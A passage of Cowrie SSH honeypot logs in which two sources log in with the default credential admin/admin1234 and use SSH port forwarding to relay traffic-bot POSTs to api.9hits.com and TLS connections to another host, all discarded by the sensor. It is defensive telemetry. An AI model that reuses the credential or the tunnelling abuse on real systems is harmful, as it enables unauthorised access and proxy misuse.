0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:19.897027Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:20.517737Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:20.923177Z","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.060517Z","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.192051Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.0.3; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1188\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aithV31GQ34qWWZyZ2pXKw%3D%3DCz7O1Y3QqK6izL%2F%2B82j25P%2F%2BxEBvwLAVMI15BB44iOJqfC8vTHd83yW48TMZAD2ZN3V0ZJPQFwZoPvmatYhYK3WwGlvmmplRFdcUYl14iqYG0OIIjN1aqnIZpzSLgV4R2dTId0t34zU1bjuUot%2BqdoRlJAYdviCGkspl8IUg9mSIQysxJA72rinBeIZV6tiBtHfxLIBmAXVseMBRXkMAkx%2BvIr6yNc1zpvDLcSCItysl%2BTZ%2BuaZEkgLq6zdRh5LAF3m9jAZ5H%2B2p%2Bh%2BLUpSeVhgUleUZf8fz5YxhchWZuHBtGxh0qPeU%2BXFIJ%2F8y1iTfyeHKDDtNt3nytYZOQjBM7WydG4wwKld5fCpYiYWVxLwugZBN6XIuXn2x6r7WE3zcsNCVsuDmwacmAUC17ju%2BGCQh79eidnhPUyixJSdWtAjWhK90IOm7066FcRVnERWwKOGnxNqyAxFDQyiWLX0d4evNmj6ObQ6w4Ovx4aRk3RxABcLE9vQWk%2FN2Oo4W8JRJUL3xaHKZIM5r3ynd1AefJNidFC%2Fis8VHuXPNVHSgQaKfKfdZeIK2yFzXRp%2FUjckZXUzK2nhpUQ19YxvIZaUGBkTXCliB1VU%2B5zOnHC4eFQ4wJkUkkcZCtgu3CI3zEzY3tfwcJp2Emk1IhdQY0mJJarruWYEpw79e0M3RSrNODOrTyIW6%2FcosE7rMhaS%2FBKEMZnqhWmptL0dyQ%2BH2K%2Bbgyp7dnUgewO6231NQT%2BSohZ0CEXZROmSbpF%2BTvbxpObbVEdoq7DgvlGEJakyWb50XpST02G1beOB%2BjbCBZC2XQzo0FxYSsUx0k84pRRssDFS81PE%2FoMV%2FS8mayRPT8DOo5P0ttBqqoa2n81PImAg%2Bv0c%2FjpTDvjQmIrBMrax45dcKReeReaUK%2B8S15eMPvDMZ1t7Rm7p52WEk72%2BkKXwt6tD0Y%2BR1nDWvTSpBo%2FsfnTkMd83Ln96%2FPODh4bHvscAx87Y1M%2BM8icTSSxWBBDKa9w3yH0IwQpxo7cvQQ5XJo6VBOY0qqAR55hFgAyvgyL7zTLtsE41LaMIrRRojnPj1Luctr1vGfvogIFOGtDb09XXj'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android 4.0.3; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1188\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aithV31GQ34qWWZyZ2pXKw%3D%3DCz7O1Y3QqK6izL%2F%2B82j25P%2F%2BxEBvwLAVMI15BB44iOJqfC8vTHd83yW48TMZAD2ZN3V0ZJPQFwZoPvmatYhYK3WwGlvmmplRFdcUYl14iqYG0OIIjN1aqnIZpzSLgV4R2dTId0t34zU1bjuUot%2BqdoRlJAYdviCGkspl8IUg9mSIQysxJA72rinBeIZV6tiBtHfxLIBmAXVseMBRXkMAkx%2BvIr6yNc1zpvDLcSCItysl%2BTZ%2BuaZEkgLq6zdRh5LAF3m9jAZ5H%2B2p%2Bh%2BLUpSeVhgUleUZf8fz5YxhchWZuHBtGxh0qPeU%2BXFIJ%2F8y1iTfyeHKDDtNt3nytYZOQjBM7WydG4wwKld5fCpYiYWVxLwugZBN6XIuXn2x6r7WE3zcsNCVsuDmwacmAUC17ju%2BGCQh79eidnhPUyixJSdWtAjWhK90IOm7066FcRVnERWwKOGnxNqyAxFDQyiWLX0d4evNmj6ObQ6w4Ovx4aRk3RxABcLE9vQWk%2FN2Oo4W8JRJUL3xaHKZIM5r3ynd1AefJNidFC%2Fis8VHuXPNVHSgQaKfKfdZeIK2yFzXRp%2FUjckZXUzK2nhpUQ19YxvIZaUGBkTXCliB1VU%2B5zOnHC4eFQ4wJkUkkcZCtgu3CI3zEzY3tfwcJp2Emk1IhdQY0mJJarruWYEpw79e0M3RSrNODOrTyIW6%2FcosE7rMhaS%2FBKEMZnqhWmptL0dyQ%2BH2K%2Bbgyp7dnUgewO6231NQT%2BSohZ0CEXZROmSbpF%2BTvbxpObbVEdoq7DgvlGEJakyWb50XpST02G1beOB%2BjbCBZC2XQzo0FxYSsUx0k84pRRssDFS81PE%2FoMV%2FS8mayRPT8DOo5P0ttBqqoa2n81PImAg%2Bv0c%2FjpTDvjQmIrBMrax45dcKReeReaUK%2B8S15eMPvDMZ1t7Rm7p52WEk72%2BkKXwt6tD0Y%2BR1nDWvTSpBo%2FsfnTkMd83Ln96%2FPODh4bHvscAx87Y1M%2BM8icTSSxWBBDKa9w3yH0IwQpxo7cvQQ5XJo6VBOY0qqAR55hFgAyvgyL7zTLtsE41LaMIrRRojnPj1Luctr1vGfvogIFOGtDb09XXj'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.194792Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.453001Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Ur\\xd5\\x98\\xba\\xd3\\x87\\xad8\\xdcwr\\xe0R\\xd5\\x96c\\xf0\\xf2`EV \\xae1\\xe38\\x85\\xf6$\\xc0\\x08 j7\\xa0i\\x92\\x02\\x87\\nCl\\x1a\\xbaL2\"-\\xb2\\x19&(E#3\\xc1\\xd3\\x1c}\\xf3U\\xc6\\xa5)\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15`\\xe5\\xc4\\xd0\\xcf\\x1fl\\xaahd]6\\r\\x13\\x0f\\xa0\\x96\\x8ae\\xc0(h\\xc3\\xd7\\x00K[\\xea\\xac\\x00$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Ur\\xd5\\x98\\xba\\xd3\\x87\\xad8\\xdcwr\\xe0R\\xd5\\x96c\\xf0\\xf2`EV \\xae1\\xe38\\x85\\xf6$\\xc0\\x08 j7\\xa0i\\x92\\x02\\x87\\nCl\\x1a\\xbaL2\"-\\xb2\\x19&(E#3\\xc1\\xd3\\x1c}\\xf3U\\xc6\\xa5)\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x15`\\xe5\\xc4\\xd0\\xcf\\x1fl\\xaahd]6\\r\\x13\\x0f\\xa0\\x96\\x8ae\\xc0(h\\xc3\\xd7\\x00K[\\xea\\xac\\x00$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.455860Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.768929Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:21.978878Z","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:22.246057Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J7h\\xe30r\\x19\\x95>,K\\xc8\\xb6\\xe1b\\xe9\\x9a\\xb1\\xe7i\\xd7W\\x10\\n\\xd4N\\x95\\x999xi\\x13 0\\x97\\xcf=\"\\x1a\\xd3\\x05\\xcb\\xed\\xa2h\\x14\\xcd4\\x87\\x0f\\xe9k(\\xdc\\xba{\\xb4(h\\x8apa\\xc4b\\xd4\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 !\\x87\\x08dCG\\x9a\\xebf\\xa8N\\xda\\x8b\\x00\\xa2\\xfd\\xaaf\\x04\\xbb\\xc4RHo\\xcd\\xf4y\\xd2+=\\xca\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J7h\\xe30r\\x19\\x95>,K\\xc8\\xb6\\xe1b\\xe9\\x9a\\xb1\\xe7i\\xd7W\\x10\\n\\xd4N\\x95\\x999xi\\x13 0\\x97\\xcf=\"\\x1a\\xd3\\x05\\xcb\\xed\\xa2h\\x14\\xcd4\\x87\\x0f\\xe9k(\\xdc\\xba{\\xb4(h\\x8apa\\xc4b\\xd4\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 !\\x87\\x08dCG\\x9a\\xebf\\xa8N\\xda\\x8b\\x00\\xa2\\xfd\\xaaf\\x04\\xbb\\xc4RHo\\xcd\\xf4y\\xd2+=\\xca\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:22.250219Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:22.645540Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:33.398332Z","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:33.460083Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e0A3SUZqfjY0Jk1leUVjJQ%3D%3DN%2FRA1jr3bFDo0921fWRHLSXkpv3fCOUqjIBTKii2PJtO9sPMsRzlg2pD5gRVIpQba2LdHc0wNkr3TMO%2FPGATB2l0s2mkXD3JZz0eziqI7c1H%2F3q6Odx8NCUFlWZIeAokEamrwUwga9vcGrGg29gH7tPxg4ObashzKKYrcA1PFexst8R%2FQ%2FR2xNfp14YONFldYXx15eTPTXZt2WKDtOGJJm1tFuxMwmjxXhOZNk61EV0t8oKQ2nHjtnnXLBDVT5D7RPdtNyLsDPE%2BW52GyYT9%2BjJDTyFuGkGCNmFbeM5e5j8cEnWBQqzBxjGNHT71BwLmDR9GjjXzmRfZIPS9udj7YrRNZU3ayCI35YfutfaGcPzUCF3qg%2Fl6GFAWUH1gt3Q7HHF5fSGGjjDnundT2l8rtw2fKX6UDD%2BkUWRgmnV2OLamwI3vUmk4mkEOfEJ9Ts98KvKWI842og4bZUqmhwurGij23Z%2FRLSr%2B4TF0g1UaNlqUAWKAHfLCbqFRzWaY8%2FGXxDU8SmesVS57Sqmt1GEN%2BG6w8wC5czGNetDjhXr5GdkxvXvUctP08Jj85RZg9cMO9cJ%2BZRIL%2BbjrMmprz57dttzaZqsOPyoQKSIcCE1th369CqemCqIXP3eJcgNvPo5MT%2FNb8Z9SMuPy5nM0JB4z7s6QvvzhG1SrLKo6HT%2BpPu8y57TwpOp3k1u083Ql2%2Bek0s2L4sAUpnHy0OCYo497m2eqlMiysl%2FL16IKM0vVafccPL57eptsnWkZuV4n91jEyQpOdXBE2WV%2Fw6i5n6GRL%2FaLMF7sj%2FvOXg5vm05O7vI%2FoqahlGGNlkitNTHSrjopwu836tFAMSHx0hNd%2FlxQlWJNlxEEFvI7bDcOUI0obKeVmofA2%2BY8C%2Bf0bkfEs0WKB1rBFlCACi8bsocGE5AGvSRpERICbhXJFegdmOKpJ11e7uuDEWtc3F%2FVvd3KsN%2FDpO6U57J3Xu98TnAFpxzOEz5HANC48gZXInjgLJx5ZMXqSTGVfcCVAdvHp7HzsoDiMwhDUySQDIV%2F%2BuKdeb69LfQxLUIGTqx%2BjFWhUaA%2FUhKzJodCv6%2FMIyewITB%2B5pw9'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 